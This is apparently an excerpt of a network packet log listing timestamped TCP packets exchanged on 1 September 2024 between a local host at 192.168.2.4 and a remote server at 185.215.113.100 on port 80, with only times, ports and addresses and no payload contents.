Sep 1, 2024 01:22:09.990622044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.990632057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.990639925 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.990642071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.990653038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.990653992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.990663052 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.990674019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.990677118 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.990693092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.990712881 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.991048098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991056919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991060972 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991066933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991077900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991089106 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.991117954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.991204023 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991214991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991225004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991235971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:09.991245031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.991262913 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:09.991283894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.022908926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.027673006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265415907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265433073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265443087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265479088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265480995 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265491009 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265506983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265566111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265574932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265574932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265585899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265595913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265607119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265609026 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265616894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265626907 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265626907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265644073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265683889 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265686035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265696049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265706062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265716076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265723944 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265728951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265738964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265748024 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265754938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265780926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265798092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265810966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265845060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265850067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265858889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265863895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265892982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265916109 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265919924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265938997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265949011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265957117 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265958071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265968084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265976906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.265980005 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.265990973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266000986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266011953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266014099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266031027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266067982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266092062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266100883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266105890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266134024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266134024 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266143084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266158104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266201973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266227961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266237974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266247034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266264915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266275883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266275883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266283989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266294003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266302109 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266319036 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266329050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266329050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266339064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266350031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266359091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266367912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266369104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266379118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266395092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266403913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266406059 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266413927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266422987 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266423941 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266433954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266438961 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266443968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266453981 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266469955 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266469955 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266472101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266480923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266491890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266495943 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266501904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266511917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266521931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266524076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266531944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266541958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266575098 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266596079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266606092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266621113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266627073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266632080 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266637087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266652107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266663074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266669989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266680002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266685009 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266694069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266695976 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266704082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266714096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266719103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266737938 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266755104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266772032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266782045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266801119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266810894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266817093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266822100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266830921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266839981 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266841888 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266850948 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266866922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266895056 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266916990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266927958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266937017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266946077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266956091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266957998 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266963959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266973019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266977072 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.266983986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.266993046 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267004967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267010927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267033100 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267034054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267040968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267044067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267055035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267064095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267070055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267076015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267086029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267101049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267128944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267139912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267143011 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267149925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267168045 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267170906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267180920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267189980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267194986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267196894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267204046 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267218113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267235041 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267251968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267271996 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267298937 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267308950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267318010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267328024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267338037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267338037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267348051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267357111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267357111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267369986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267380953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267396927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267456055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267456055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267466068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267474890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267478943 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267769098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267780066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267790079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267800093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267800093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267815113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267843962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267847061 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267854929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267864943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267874956 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.267899990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.267936945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351715088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351815939 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351816893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351826906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351835966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351845980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351855993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351861000 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351869106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351878881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351891994 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351911068 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351922989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351927042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351932049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351937056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351943016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351952076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351960897 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351967096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351975918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351983070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.351984978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.351995945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352013111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352014065 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352029085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352035046 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352051020 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352054119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352061987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352072001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352077961 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352088928 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352097988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352101088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352109909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352121115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352128983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352129936 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352144003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352158070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352161884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352171898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352183104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352195978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352200031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352211952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352221012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352222919 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352231979 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352253914 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352268934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352300882 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352328062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352338076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352343082 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352366924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352493048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352503061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352514982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352530003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352540016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352543116 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352550030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352555990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352560043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352569103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352580070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352585077 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352596998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352607965 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352607965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352617025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352621078 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352626085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352637053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352647066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352649927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352658987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352679968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352685928 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352703094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352711916 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352713108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352722883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352731943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352741003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352745056 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352751970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352761030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352771044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352772951 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352796078 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352799892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352811098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352818966 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352821112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352844000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352844954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352855921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352864027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352869034 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352880955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352891922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352899075 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352901936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352912903 CEST	80	49730	185.215.113.100	192.168.2.4
